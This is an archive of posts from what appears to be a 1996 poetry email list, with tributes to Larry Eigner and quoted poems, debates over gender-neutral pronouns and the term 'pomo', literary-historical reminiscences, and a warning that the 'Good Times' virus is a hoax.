>the knowledge of death, and now
> knowledge of the stars
>
>   there is one end
>   and the endless
>
> Room at the center
>
>   passage   /   in no time
>
> a rail thickets   hills   grass
>
>
>from _Windows Walls Yard Ways_ (1994), last poem in the book:

>
> September 16 92
>
>so years been passing
>
> the road quiet
>
> still often enough
>
> night and then day
>
> light up in the sky
>
> behind a towering tree
>
> shadowed dense

>Hank:
Shocked to hear the news. Eigner was one of the GREAT American poets.

Douglas

==========
==========
==========

↑ Index

162. Eryque Gleason
Re: neut gender
Mon 5 Feb 1996

> *The problem? "Ze"*
> *looks weird. On the other hand, so did/does "Ms."*

i think ze looks less weird than "eir" or "em" (forget the words exactly, did i get close, anyone?) which were the words that i last heard of someone trying to substitute.

and i'm all for more words around with z's and q's

-eryQue gleaZon

↑ Index

163. **Peter Jaeger**
Re: Moving Lips: str=Staffordshire bull terrier
Mon 5 Feb 1996

On Sun, 4 Feb 1996, Steve Carll wrote:

> GO LOSS GO!!!
>
> --steve, in wonder
>

yes yes but don't forget bp's martyred st. ranglehold

Peter

↑ Index

164. **Edward Foster**
Re: dunno but
Mon 5 Feb 1996

---

sorry if the current fixation with lovely children is boring to those who would discuss clement greenberg (whom i did not like), BUT there are rewards as in twenty or so letters received today from the class mentioned earlier. but should say first that bob holman, in the video the class saw, looks as if he just left the st. mark's babershop: "Deer ed, I liked Bob He Was Cool . . . . Pow!" "I liket the videows and yore poam. . . . and ples come in agan." "I liked the Bob Holman one because i like to mase up my hair i liked the poems because they were like songs . . . go ed go / your a hero / not a zero." enough of this professor stuff; future readings for second and third grades, only!

↑ Index

165. **Edward Foster**
Re: dunno but
Mon 5 Feb 1996

---

jordan: what's wrong with _subjects_? hmmmm. i think we need to get together for coffee. but see _heat_ first.

↑ Index

166. **Joe Amato**
doom partrols...
Mon 5 Feb 1996

---

jordan and others: last i looked, steven shaviro's _doom patrols_ at

http://dhalgren.english.washington.edu/~steve/doom.html

joe

↑ Index

167. **ryan johnson**
Re: Pomo
Mon 5 Feb 1996

On Sat, 3 Feb 1996, Joe Amato wrote:

> *and i wasn't aware (as of my last post) of the "pomo" designation mark nowak indicates... the term has been used shorthand in discussions of postmodernism for some time now... i'm willing to revise my use of same, sure, let's try to find a better term... how bout postmo?...*
>
> *joe*

or, just 'cause it falls of the tongue more easily, how 'bout pomod?-Ryan

↑ Index

168. **ryan johnson**
Re: pomo-ra-ma
Mon 5 Feb 1996

On Sat, 3 Feb 1996, William R Howe wrote:

> hear hear to ron to limit our vocabs in order to re-strict meaning to only
> certain pre-scribed notions about what or how words mean is silly and an long
> term effort to systematically erradicate the use of a word because it might
> be offensive or derogatory or oppressive would in the end leave us with very
> few words i admit that a word may be damaging culturally but there is no way
> to get around that language is opressive the way in which we use language is
> opressive the way in which language means is opressive so singling out pet
> peeves tolambast seems to me a mis-guided attempt at a linguistic re-education
> that is doomed to failure
>
> wrh
>
INDEED AND HEARE HEAR HERE

↑ Index

169. Emily Lloyd
Re: neut gender
Mon 5 Feb 1996

> *i think ze looks less weird than "eir" or "em" (forget the words exactly, did i get close, anyone?) which were the words that i last heard of someone trying to substitute.*
>
> *and i'm all for more words around with z's and q's*
>
> *-eryQue gleaZon*

:::grinning at eryque::: yeah, I agree. Plus, someone might mistake "eir" for "eire," & then we'd have to go through for Ireland what we already have for the Pomos.

↑ Index

170. Charles Bernstein
Larry Eiger (1927-1996) [long post]
Mon 5 Feb 1996

I can't collect my thoughts any further, dwelling on the meanings of Larry Eigner's life, except to remember the time spent with him in conversation, or say the time Bob Grenier, Brian McInerney and I took him to the Museum of Natural History on his one trip to New York. As we came into the room with some of the largest dinosaurs, Larry pointed straight ahead and said "that's interesting". He wasn't pointing to a dinosaur skeleton, though, but to an old sign posted on the back wall; it _was_ interesting, in a style long banished (in exhibition halls now replaced). I think of that remark of Larry's as displaying how much he lived out his version of a democracy of particulars, as against the craving for highlights, for the heightened, that is as much a literacy aesthetic as a consumer imperative. For Eigner, this didn't mean a flattening of affect; on the contrary it meant a luminosity of every detail: the perceptual vividness that his work so uncannily concatenates. This acknowledgement of the daily, a series of remarks on the otherwise unremarkable, a sort of poetic alchemy that is not dissimilar to one strain of Jewish mysticism (a strain in which the mysticism dissolves into an active apprehension of the real), is an abiding model of and for a poetry where things as they are let to stand for themselves.

This poet of the ordinary lived an extraordinary life, as if the physical challenges he faced since birth were spun by poetic license into mental acrobatics. Larry Eigner is hero of our times. His will to think was unsuppressible. It was no ordinary privilege to have known him. I can't think of anyone I admired more.

****

I wrote this for an Eigner celebration at UC-Berkeley's
University Art Museum in June 1993:

AGAIN EIGNER

There is no writing I know as vivid as Larry Eigner's. He's invented, for poetry, something equivalent to three-dimensional photography: his works present a series of perceptions etched deep into the mind, where the mind is charted on a page and the page becomes a model of the thinking field. Perception and thought (words and things) are completely intertwined in Eigner's work, which brings to a visionary crescendo the exploration of the ordinary -- the transient flickerings of the everyday that otherwise pass more unnoticed than regarded, more dismissed than revered. In Eigner's poems, one "fragment" is rivetted to the next, so that one becomes, in reading this work, likewise riveted by the uncanny democracy of details, where attention is focussed unhesitatingly on each particular with equal weight, equal exhilaration. This is a poetics of "noticing things," where, as Eigner writes, "nothing is too dull" with "material (things, words) more and more dense around you." But equally, Eigner's is a poetics of coincidence, where "serendipity" (contingency) takes its rightful place as animating spirit, displacing the anthropocentric sentimentality of much of the verse of our time.

^^^

its site, cleaves to what there is, to
what is there. "_To be_ is involved
such words that hold / times in the mind":
a way, still, that a poem can enact its
own presence, with full measure of the
necessary determination to move from
anything to that which juts against it,
a conviction that life is made of (of)
just such leaps, the contingency of an eye
(aye, I) 'gainst a field of "r/oars" ("_suddenly_
a day"). Something like deep
focus, as if the poems had become
an organ, the sky bellows. Step by
step, slowly turning. Yet there is no
opening onto image here, no mime of
a rehearsal of a scene. Eigner's depth-of-
field _charges_ each page to _hold_ its own,
"to have things whole". "to see / dark
the / invisible". Perception all right,
but not sun-drenched barns: "fishmongers",
"pigment", "air". If there's
narrative, it's narrative unhinged
of causal nexus, logical spools. Each
line rivets its moment & moves on, like
angels on the head of a quill pin, nor
looks ahead nor back, but "bangs" indissoluble
at precise splice ("each fief") that
bodies the moment from one to next. "to
negotiate the ocean drop by drop
if there were time". In adjacency

is act-uality: "you thought it was
as it is". Nuggets of sound carving
space. "Motion" "motor" "process"
"winds" "bells" "floating" "echoing"
"coursing" "falling" "roaming" "wading"
"spilling" "flying" "dazzling" "burning"
"unflagging" "blows" "stirs" "curves"
"spirals" "stagger" "dives" "slips"
"slicks" "shakes" "hums" "simmers"
"twist" "float" "flap" "dangle" "glitter"
"subside": "_imagine_ the extent" (a
geometry of ties that blind in music,
"the great sea orchestrated with men"--
"what's unseen" "what sound for our
ears"). What is "_displaced_" at each
juncture is the plenitude of eyes seeing
beyond sight, the replenishment of
occlusion's hold, storehouse of an
interior horizon s(t)olid as emplacement.
"What you / see you / settle / on"--
settlement, homestead in the moment's
whole, "such words that hold" nor need
an other embrace. "your eyes open" "we
see something to _say_ or / listen to".
Imagine the extent.
[--ch. bernstein]

↑ Index

171. **ryan johnson**
Re: Pomo
Mon 5 Feb 1996

On Sun, 4 Feb 1996, Joe Amato wrote:

> *well yes, language is oppressive... but this is no reason not to try to make it less so... i didn't take mark's request as a way of attempting to legislate language, anyway... words hurt, misrepresent, etc... when you find that a term you're using derogates a particular group, why not try to alter your usage?... *voluntarily*, i mean...*
>
> *e.g.: i have a problem these days with my student-writers writing "man did this" and "mankind did that"... why not try to use human, humankind, etc?... what's the harm in contributing to a linguistic-social environment in which more feel welcome, comfortable?... why *not* be attuned to the fact that a certain group may find "pomo" disturbing?... as wordsmiths we're s'posed to be good at understanding precisely the extent to which denotations and connotations can cause harm... now if one wishes to go on using "pomo" with the knowledge that doing so might exact a cultural price for some, i s'pose this comes down to how serious one views that cultural price... mebbe it would help if we heard more from a pomo native?... mebbe if a member of that nation/people were a subscriber here and posted in saying she felt a bit hurt by this usage, mebbe then some of us would consider altering same?...*

BUT: (1)this depends on the epistemological stability of the authenticity of the subject brought forward as representative of the group and (2) seems to assume that representative would in fact feel *hurt* by a usage that pretty obviously has no referential relationship, injurious or otherwise, to an ethnological moniker s/he may in fact wish to interrogate in the first place. I'm not declaring NO or YES here, merely chiming in, as you'd seem to invite.-------
Ryan

> *if what i'm saying strikes any of you as controversial, perhaps we need less sheer resistance here and more along the lines of that steady plying of (t)issue that we're collectively pretty good at...*
>
> *joe*

↑ Index

172. **ryan johnson**
Re: neut gender
Mon 5 Feb 1996

On Mon, 5 Feb 1996, Eryque Gleason wrote:

> > The problem? "Ze"
> >looks weird. On the other hand, so did/does "Ms."
>
>
> i think ze looks less weird than "eir" or "em" (forget the words exactly,
> did i get close, anyone?) which were the words that i last heard of
> someone trying to substitute.
>
> and i'm all for more words around with z's and q's
>
> -eryQue gleaZon
>
I personally have found the 'x' is most maligned, and think 'xe'
(complete w/indeterminate pronouncabilty) would do well--Ryan

↑ Index

173. **Chris Stroffolino**
Re: Larry Eiger (1927-1996) [long post]
Mon 5 Feb 1996

I only knew Larry through his work, but knew that he had CP and since I have a part time job at a local CP center, I have loaned my copy of his early selected on ocassion to some of the "clients" (the recent PC word for CP people here)--as an example of what CAN BE DONE....At least one young woman was very inspired by him. I always was hoping to someohow relay this to Larry, not knowing whether he'd appreciate it or not, but I say it now....
cs.

↑ Index

174. **Chris Stroffolino**
Re: warning: i break for hallucinations
Mon 5 Feb 1996

Dear Ron-- it is very kind of you to hope that I "brake" rather than "break" against the force of the "bad-cop", so thanks.... thanks also for the greenberg piece (interesting to see the differences between what Steve Evans quotes and what you do---Steve seems to make him a more sympathetic radical than you). As for your overall assessment of CG's influence, I pretty much agree. In fact, a more than a little HOMOPHOBIA may be detected in his writings On Still---(link with "whitman" "indulging" in "loose" "gestures" etc). Are THE FOUR QUARTERTS really SNOOZERS? and SLACK though???????? Is Bishop really a NEw Criterian type? At one point you suggest "a political gap

between [CG and the NC's] in the 1930s" that closed by the 1950s, because CG moved to the right. Yet (in Rasula's book---I have not read Golding, but this is only because I was given Rasula's---"college on foodstamps," etc---not a judgment!) Rasula shows that the NC's themselves appealed to MARXIST rhetoric quite a bit in the 30's (in fact, it's QUITE interesting to see this) so i don't know quite what you mean about this GAP. If it's a gap, it may be the gap between RHETORIC and PRACTICE, all along. And yes, I too wonder "WHAT ABSTRACT EXPRESSIONISM WOULD BE IF IT HAD NOT HAD ITS CONTEXTU- ALIZING FRAMEWORK (from CG) FROM DAY ONE"---
And this is why I brought it up. I think we can turn CG's statements about Eliot around pretty easily, and fault greenberg's writing for not living up to the art of DeKooning, Still, etc. Actually, O'Hara did do this in his art crit methinks..... chris s

↑ Index

175. **Charles Bernstein**
Larry Eigner (1927-1996)
Mon 5 Feb 1996

One of the rituals of Jewish funerals is to rip a piece of clothing as an expression of grief. (This is more often done symbolically, by pinning a ripped piece of cloth to your jacket so as to avoid actual damage to your actual expensive tie.) Anyway, I have too much experience turning around my errors, or having them turned on me.

Eigne

Igner

Eignr

Egner

Einer

Eiger

EIGNER

↑ Index

176. **Jordan Davis**
Re: dunno but
Mon 5 Feb 1996

Ed,
I _love_ coffee-- but in Heat, didn't you think DeNiro looked _bored_?
Jordan

↑ Index

177. Kevin Killian
Re: doom partrols...
Mon 5 Feb 1996

> *jordan and others: last i looked, steven shaviro's _doom patrols_ at*
>
> *http://dhalgren.english.washington.edu/~steve/doom.html*
>
> *joe*

I didn't see the original reference to _Doom Patrols_, but thought I'd add that High Risk is going to be publishing this book, to Shaviro's delight. He's been wanting to break out of academic publishing.

Dodie Bellamy

↑ Index

178. Jim Pangborn
*Re: st*r-struck (fwd)*
Mon 5 Feb 1996

The deconsonanted passage is the beginning of _P*r*d*s* L*st_.

And by the way, all due respect to Loss, when I see "st*r,"
my "inner ear" (or an "inner" voice) does make it "star"
only more so: starrier, with even more vowel to it.

> *---------- Forwarded message ----------*
> *Date: Sun, 4 Feb 1996 11:35:52 -1000*
> *From: William Craighowes <[redacted]>*
> *To: Susan Schultz <[redacted]>*
> *Subject: Re: st*r-struck (fwd)*
>
> ** c*n't b*l**v* th*t p**pl* w**ld sp*nd s* m*ch t*m* *n s*m*th*ng *s*
> *npr*bl*m*t*c *s th*s. Y** c*n *lm*st *lw*ys t**s* **t th* m**n*ng *f *
> m*sk*d v*w*l s*nt*nc*--*nl*ss *f c**rs* s*m**n* *s d*l*b*r*t*ly try*ng t*
> m*ss y** *p.*
>
> ** * * **
>
> *G*V* M* * V*W*L, V*NN*!*
>
> ** * * **
>
> *B*t c*ns*n*nts--th*t w**ld b* f*r m*r* tr*cky.*

> *O* *a*'* *i*** *i*o*e*ia**e, a** **e **ui**
> *O* **a* *o**i**e* **ee, **o*e *o**a* *a**e*
> ***ou*** *ea** i**o **e *o***, a** ou* *oe . . .*
>
> **ny g*ss*s?*

↑ Index

179. Edward Foster
Re: dunno but
Mon 5 Feb 1996

my hero deniro BORED! Never except in those ridiculous scenes overlooking what i guess was supposed to be l.a. but looked like an electric quilt. no, i thought he looked like fire. PLEASE, Joron, i always see a deniro film twice.

↑ Index

180. Robert Drake
Re: stars gender
Mon 5 Feb 1996

> *isn't the problem of _readability_ with st*r*
> *that we know right away what we're reading?...*

well, maybe that we _think_ we know right away what we're reading...

r me, it also re-calls the St.s of the Martyrology, those celestial beings who r, are, stir, and stare... those all echo in my minds ear, so i suppose it's not as purely visual fr me as it might be fr others...

luigi

↑ Index

181. Kevin Killian
Re: dunno but
Mon 5 Feb 1996

> *Ed,*
> *I _love_ coffee-- but in Heat, didn't you think DeNiro looked _bored_?*
> *Jordan*

Jordan,

He probably just gave up before the pyrotechnical Paccino.

I think the only interesting thing about _Heat_ was how horrible all the stars looked, but how gorgeously photographed their backdrops were. Ugly human beings in a designer world.

Dodie Bellamy

↑ Index

182. Dan Raphael Dlugonski

Re: neut gender

Mon 5 Feb 1996

---

i could live with ze. but reading your and other comments sparked in memory banks a simpler idea--'e' (which could or could not be capitalized). this puts 3rd person on equal footing with 1st (and 2nd person just being a more complex spelling of another vowel, we have some consistency among the pronouns)) with 'es' as the possessive form.

> *Dan wrote:*
> *-- i wish we could adopt a gender-neutral pronoun. maybe a 'movement' to foster this (i know,ther'd be massive proprietary arguments over what these pronoun should be. that doesnt matter much.). ive been unwilling to do it in my own work for lack of clarity (something im frequently over the border of anyway), further confusing a potential audience.*
> *this is one place those working in the educational institutions could help. in spreading this need for the gender neutral prnoun, coz so often a writer is making a statement that applies to many people but because the context makes it third person singular is stuck with gender choices*
>
> *There *is* a movement to foster gender-neutral pronouns, for the reasons you cite as well as others. Transgender activists and artists are using "ze" in place of she, he, or s/he and "hir" instead of his or hers. Forthcoming from High Risk is a novel by lesbian transsexual performance artist Kate Bornstein that makes use of these terms, and they've also appeared in a number of queer zines/newspapers. The new words appeal to me not only in that one might use them when referring to "many people in the third person singular," but when referring to one person whose gender is ambiguous/flexible/intentionally indeterminate/etc. The problem? "Ze" looks weird. On the other hand, so did/does "Ms."*
>
> *emily*

↑ Index

183. **Loss Glazier**
Re: st*r-struck
Mon 5 Feb 1996

>Does this mean that "*" would stand for the entire language (& beyond), thus
>comprising the most economically compressed poem possible? Wow.

Tom,
Often, interestingly, "" (or its variant '') stands for language that does
not act.* All words outside the "'s are action words. File "this", search
"that", compress "this", say "this". (Or as computer folks like to say: type
"foo".) However the recipients of those actions are the inert words. For
computers it would search "dog" or say "hello". To this code, the shagginess
of the former or the warmth of the latter are of no concern.
So that you have the curious situation that yes, "*" would stand for the
entire language, but it is a language that is simply irrelevant to the
"task" at hand.
Loss

The one case you picked out, "," is the only case where it is simply *
(where we can enjoy its number of points)...

↑ Index

184. **Bob Holman**
Re: USOP
Mon 5 Feb 1996

Just back from uh amazing er historic reading at UCLA's Wadsworth Theater,1400 seat house. Wanda Coleman, Luis Alfaro, Everton Sylvester (US's greatest dub poet? lead warbler w/ Bklyn Funk Essentials), Dael Orlandersmith, and Maggie Estep. Screened Show #3 of United States of Poetry, which includes Wanda and Luis, then live perfs, Luis entered from back of house etc. Everton and Mags entered "through" screen after their USOP segments were screened. Met Aram Saroyan -- much fun.

Or was the historic gig in St Cloud, MN on Thurs? Temp at 50 below.....

USOP video available through KQED, 2601 Mariposa, San Francisco, CA, 94110 or [redacted]. They also will sell you the soundtrack CD or casstte, which is out from Mouth Almighty Records. MA was just spun into orbit by Mercury (Records) -- Sekou Sundiata and I are working for this new poetry label. Duh, I mean spoken word.

Abrams is publishing the anthology I mean book in March.

Wildest thing about the show is that TV Guide sees fit to print three pages (Feb. 3 issue) but PBS has disowned the series, wouldn't put it up in a hard feed, and only today said that they might put something up on their Website. I believe you can find some info at http://www.wordslam.hugo.com/gallery.html

Enjoyed Schuchat's post on the Birth of L=A. I don't remember it as a reaction at all, but a going for, and even remember parties where our coats got mixed onda same bed.

Bob H

↑ Index

185. Eryque Gleason
Re: neut gender
Tue 6 Feb 1996

Emily Lloyd wrote:
>:::grinning at eryque::: yeah, I agree. Plus, someone might mistake "eir"
>for "eire," & then we'd have to go through for Ireland what we already have
>for the Pomos.

the first time i heard "eir" i confused it with the german "herr"...just gimme bad vibes to start with.

what's an irish "eire"?

eryque

↑ Index

186. Loss Glazier
Re: Larry Eigner
Tue 6 Feb 1996

I am creating a brief announcement for Larry out of some of the recent postings to this list. If anyone has work they might like to add to the EPC Larry Eigner home page (essays or writings or photos) please contact me directly. Thanks...

↑ Index

187. Erica Hunt
Re: ask your mama
Tue 6 Feb 1996

Hi Bob:

Just noticed your posting on this late February night. I just recommended the Hughes to a friend who is looking to perform voice works with Don Byron

touring group of improvisers. There is a new collected Hughes, edited by Rampersad available now in paperback, and in fact, remainedered already at the Strand for five dollars. A deal. A Vintage book.

Greetings to Fran and family. Hope to see you all this year!

↑ Index

188. Tenney Nathanson
pardon my lineation (no book)
Tue 6 Feb 1996

Date: Mon, 5 Feb 1996 16:44:41 -0500
From: Jordan Davis <[redacted]>
Subject: Re: dunno but

> *Date: Mon, 5 Feb 1996 16:44:41 -0500*
> *From: Jordan Davis <[redacted]>*
> *Subject: Re: dunno but*
>
> *Ed,*
> *I _love_ coffee-- but in Heat, didn't you think DeNiro looked _bored_?*
> *Jordan*

"I love water
I /love/ water

but I also love air

and fire"

****

[Strange Syncopation of E-Lists Dept:

"dunno but" was my header (once); it enjoyed a brief but happy life in, like, October; now here it is (un)like the coin in Ithaca....]

↑ Index

189. Gabrielle Welford
Re: internet abortion info and the new US obscenity bill (fwd)
Tue 6 Feb 1996

---------- Forwarded message ----------
Date: Mon, 5 Feb 1996 08:51:10 -1000
From: Vicki Rosenzweig <murphy!acmcr![redacted]>
To: Multiple recipients of <[redacted]>
Subject: Re: internet abortion info and the new US obscenity bill

Guys, it's too late to talk to your representative about this one: it went through the House and Senate in about half an hour on Friday. I think our only president has already signed it. Collect information now, hide it somewhere safe, send it to everyone you know--and maybe I'll be sending an extra donation to the ACLU, which is preparing a court challenge.

Vicki Rosenzweig
[redacted] | [redacted]
New York, NY

↑ Index

190. Ron Silliman
We all break for hallucinations
Tue 6 Feb 1996

Re homophobia among the New Critics: Golding cites an incident in his footnotes in which John Crow Ransom pulled Robert Duncan's African Elegy from the galleys of the Kenyon Review after learning of the publication of The Homosexual in Society. Alan does a good job of noting how various folks (Creeley, etc.) felt about those journals and that scene. (And if I recall rightly, Tom Clark also comments on Olson's attempts to appear in such magazines as well. "Projective Verse" appeared in Poetry NY, a curious venue to say the least.)

All best,

Ron

↑ Index

191. Emily Lloyd
Re: neut gender
Tue 6 Feb 1996

At 12:25 AM 2/6/96 -0500, Eryque Gleason wrote:
>Emily Lloyd wrote:
>>:::grinning at eryque::: yeah, I agree. Plus, someone might mistake "eir"
>>for "eire," & then we'd have to go through for Ireland what we already have
>>for the Pomos.
>
>the first time i heard "eir" i confused it with the german "herr"...just
>gimme bad vibes to start with.
>
>what's an irish "eire"?
>

>eryque
>

Eire is Irish? Gaelic? anyway, what the native folks in "Ireland" call their country.

↑ Index

192. Chris Stroffolino

Re: We all break for hallucinations

Tue 6 Feb 1996

Dear Bob Holman--- Did you ever accidentally walk off wearing a L poet's coat? Would that be kinda like fulfilling Ferlinghetti's wish/prophecy for "Billy Graham and Elvis Presley to exchange roles seriously" or the MIRAGE of HEAVEN AND HELL when eveybody is a st*r (fried r*ca) ---falettin me be mice elf agin.....cs

↑ Index

193. Kenneth Goldsmith

Sun & Moon Website Is Now Open

Tue 6 Feb 1996

~~~
~~~

* Tom La Farge "Terror of Earth"
* Knut Hamsun "The Women at the Pump"
* Gérard De Nerval "Aurélia"
* Mark Mirsky "Puddingstone"
* Heimito von Doderer "The Merovingians"
* Jackson Mac Low Barnesbook: "Four Poems Derived from Sentences by Djuna Barnes"
* Tan Lin Lotion "Bullwhip Giraffe"
* Dominique Fourcade "Click-Rose"
* Olivier Cadiot Art "Poétique"
* Charles North "New and Selected Poems"
* Ted Greenwald "Licorice Chronicles"
* Paul Van Ostaijen "The First Book of Schmoll"
* Dennis Phillips "Credence"
* Lyn Hejinian "Writing Is an Aid To Memory"
* Harvé Guibert "Ghost Image"
* Louis-Ferdinand Céline "Dances without Music, without Dancers, without Anything"
* Violet Kazue Matsuda de Cristoforo "May Skies: There's Always Tomorrow: A History and Anthology of Haiku in the World War II Internment Camps for Japanese-American Citizens "
* John Wieners "The Journal of John Wieners: is / to be / called"
* Jafal Toufic "Over-Sensitivity"
* Douglas Messerli and Mac Wellman, ed. "From the Other Side of the Century II: A New American Drama 1960-1995 "
* Matthew Maguire "Phaedra"
* Valère Novarina "The Theater of Ears"

In additon to the above books, we are offering a complete list of our titles in print, awards announcements, links, and an internet searchable ordering form.

We will be constantly updating so please visit often.

~~~
~~~

194. **Schuchat**
Re: monday morning origin myths
Tue 6 Feb 1996

Jordan,

yes I was in New York when I was talking about. I think there's a little muddle about generations, I probably overcounted (isn't Edwin Denby the first generation all by himself of the NY school?). the names you note are certainly not know-nothing vulgar zennists. I was referring more to a generalized concept of Bernadette's own cohort. as far as I can tell, Bob Rosenthal and Charles Bernstein are contemporaries, ditto for the other names you list and other language poets. they are a different reaction at the same general moment to a situation in downtown lit.

actually you might have titled your post "monday night origin" since it was the monday night reading series (then curated or whatever the verb is) by Ed Friedman which was catalytic. but also important were two writing workshops at the poetry project, one led by bernadette (before I got there) and another led by alice notley, which was I think fall 1976.

also, I wouldn't say that Ted B or Alice represented any sort of vulgar zen anti-intellectualism. but their return to new york is already after langpo seemed to get going. (disclaimer: west coast language writers are a literary history I don't know at all).

one thing which did distinguish the language poets from Steve Levine, Gary Lenhart, etc etc, it seems to me, was the language side's interest in and willingness to theorize and explicate what they were doing. one reason that I can't think of a label to link together the writers "of sensibility" that you listed is that none of them write a lot of criticism. of course, another is that they are unfortunately less widely known. (I guess there are some exceptions.) if these posts stirs up some interest in their works then my premature foray into writing my memoirs here has not been pointless.

finally, as maestro holman notes, everybody was just there, coats on the same beds at the same parties.

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195. **Jordan Davis**
12th st rag
Tue 6 Feb 1996

Simon, Bob, Thanks. "The double beds piled with coats" as Steve Malmude wrote. Anyway, I do point people towards Gary Lenhart's prose, which seems to me the best critical writing from the standpoint of _sensibility_ out there right

now. His essays on Kenneth Koch, Anne Porter, Ted Berrigan and most recently Anselm Hollo are worth looking at for their "ornery piety". But I also liked Murat Nemet-Nejat's fine rabblerousing essay on Jabes in Exquisite Corpse a couple years ago. Cheering on the bowling team, Jordan

↑ Index

196. **Jordan Davis**
Re: We all break for laokoon
Tue 6 Feb 1996

---

anybody know of any ties between poetry and sculpture lately? or poetry and painting, for that matter? poetry and rodeo? poetry and dance, poetry and music, poetry and tv, these seem kind of available now in a way that poetry and film, poetry and dogsledding, poetry and critique may be less available than they used to be..

Jordan

↑ Index

197. **Henry Gould**
Re: we all break for laokoon
Tue 6 Feb 1996

Now as Blasing was saying... aw, just kidding.

I'm still waiting for them to put up a statue of Akhmatova, as she predicted at the end of the poem "Requiem". (Well, not exactly predicted. I think she said "if".) Those lines at the end used to make the old spine tingle. Something about

the prison doves coo in the distance,
and ships sail slowly down the Neva.

This news in: Joseph Brodsky is going to be buried in Venice.
(you remember him - he was at those parties - huh??)
Henry Gould

↑ Index

198. **Willa Jarnagin**
Re: neut gender
Tue 6 Feb 1996

On Mon, 5 Feb 1996, Dan Raphael Dlugonski wrote:

> *i could live with ze. but reading your and other comments sparked in memory banks a simpler idea--'e' (which could or could not be capitalized). this*

> *puts 3rd person on equal footing with 1st (and 2nd person just being a more complex spelling of another vowel, we have some consistency among the pronouns)) with*
> *'es' as the possessive form.*
>
> *There *is* a movement to foster gender-neutral pronouns, for the reasons you cite as well as others. Transgender activists and artists are using "ze" in place of she, he, or s/he and "hir" instead of his or hers. Forthcoming from High Risk is a novel by lesbian transsexual performance artist Kate Bornstein that makes use of these terms, and they've also appeared in a number of queer zines/newspapers. The new words appeal to me not only in that one might use them when referring to "many people in the third person singular," but when referring to one person whose gender is ambiguous/flexible/intentionally indeterminate/etc. The problem? "Ze" looks weird. On the other hand, so did/does "Ms."*
>
> *emily*

I like this mixing up of pronouns; in fact I think we should mix them up more. Eventually a few will be sifted out and used more commonly, and in the meantime, figuring out the words will make people think. I vote for "ze" myself. "e" sounds too much like he, especially as h's are dropped in many dialects. Hearing "e" I think of my friend from Fall River who pronounced "human" "yooman".

Willa

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199. Douglas Messerli
Larry Eigner: in memoriam
Tue 6 Feb 1996

Two Eigner poems in memoriam of Larry:

This one was published in THE GERTRUDE STEIN AWARDS volume. Norma Cole reminded me its appropriateness:

n o m o r e p o e t r y !

but the window

I suddenly shifted positon and

really have to go

N o w a g a i n

Mountain ice

on the rocky path
with the knockout view
---I watch my step
in time

*

G o o d

I've had the bagel and I've
eaten it too

FROM Eigner's forthcoming volume: readiness / enough / depends / on

If life,
things,
weren't so
intersting, it,
they,
would kill
me

↑ Index

200. **Robert Drake**
Re: We all break for laokoon
Tue 6 Feb 1996

> *anybody know of any ties between poetry and sculpture lately?...*

i'm working on a review of an installation by john bryum, visual poetry on the walls of a bathroom (& including etched/frosted words on the window)... not at all graffiti-like...

lbd

↑ Index

201. **Aldon L. Nielsen**
Re: ST*R Crazy
Tue 6 Feb 1996

I think we've set a record now for most argument about a book only one of us has read (and others have dipped into) -- I'm going to get a copy of Blasing's book and actually read it -- and it damn well better be worth my time after all this!

AND,,, remember Poe's short story "Xing a Paragraph [paragrab!*+}?

not the redacted version of many years ago in Jerry's anthology (which reproduces only the Xed paragraph itself, if I remember) but the entire and entirely hilarious narrative contained in the Complete Poe --

↑ Index

202. Aldon L. Nielsen
Re: Eigner
Tue 6 Feb 1996

One of the great surprises to me upon moving to the Bay area in '87 was hearing the conversations between Eigner and poet friends around town. I was never able to undersatnd Larry Eigner's speech, but poets who had gotten to know him carried on deeply interesting conversations with him, which I followed as best I could as if listening to one side of a phone conversation.

Which is by way of lead up to mention that at the conclusion of that tremendous tribute reading fro Eigner at Berkeley, Eigner gave an extended reading himself. Hearing his reading of the work gave me a new sense of his use of line break and space -- not sure I can explain it, but I think I had been reading over the line breaks too quickly before --

By the way -- anyone seen Andrea Wyat, who edited the old selected Eigner, in recent years -- Last saw her in D.C. in about '83 -- haven't heard of her since --

↑ Index

203. Eryque Gleason
"Good Times" once again.
Tue 6 Feb 1996

I hope this isn't redundant, it seems i've gotten my lists a bit mixed up lately.

There's been more rumors of that non-virus good times circulating again, and it's bound to show up here soon. Any messages you may recieve warning you of a virus called "Good Times" being sent via email are just a hoax!

This rumor seems to circulate about every three and a half months, coinciding with the beggining of the new semester, when there's a lot of people using email for the first time.

I think it's a good idea for us all to spread the word of the hoax before word of the virus get spread. in particular, mebbe we should tell those we know that are new to the 'net about this. Two months after i got my email account, i propagated the hoax to everyone i knew, i was just being a good samaritan!

Here's hopin' that no one's computer gets sick for real! (and Apple a day keeps the disk doctor away? i like oranges better anyhow)

eryque

↑ Index

204. **Joe Amato**
Re: Pomo
Tue 6 Feb 1996

---

ryan, what would it take to establish "the epistemological stability of the authenticity of the subject brought forward as representative of the group"?... in this case, in pragmatic terms, this *could* result in deciding not to alter one's vocabulary unless the 'entire' pomo nation/people comes forward requesting same... and surely 'entire' is problematic here too... ergo, i defer to the many past controversies over such issues rather than seek out such "authenticity"... we can all think of a number of monikers and the like that have come under scrutiny and have been rejected/discontinued b/c they (may have) furthered damaging stereotypes... why isn't such past knowledge sufficient to altering present behavior?... or am i to assume that this sort of public strategy wrt language practice merely contributes to oppression?... this latter, btw, resonates well with the retro\backlash territory settled in the past six-seven years by conservatives who decry us 'liberal pedagogues' for advocating 'political correctness' (which latter term, for this reason, you'll rarely hear me even use)... for me the issue here is pretty straightforward: i've been using a term, as have some others, for some time now that may, may contribute inadvertently to a cultural oversight...

as to whether a "representative would in fact feel *hurt* by a usage that pretty obviously has no referential relationship, injurious or otherwise, to an ethnological moniker s/he may in fact wish to interrogate in the first place": i'm not certain that this is a fair assertion, given that it's highly unlikely a "representative" CAN "in fact feel *hurt*" in the absence of any injurious "referential relationship"!... the question is whether in fact there might BE such a relationship... now: are you seeking some phenomenological *proof* that folks can be "hurt" through mindless acts of linguistic appropriation?... i for one take this latter on faith these days, hence i have no desire to 'prove' same... at the same time, as you suggest, using pomo for postmodern is clearly not quite the same as using a racial moniker with ill intent, to designate inferiority etc... yet i'd have to say, again, that i see no harm at all in trying to find another word, given that there's a clear overlap here in usage that may, may result in some residual *hurt*, given what we (imnsho, should already) know...

the cultural-linguistic reality many of us would seem to be inhabiting -- and critical spheres are no exception -- permits for all sorts of neologisms and buzz words, not least b/c of that corporate cutting & pasting of the public sphere

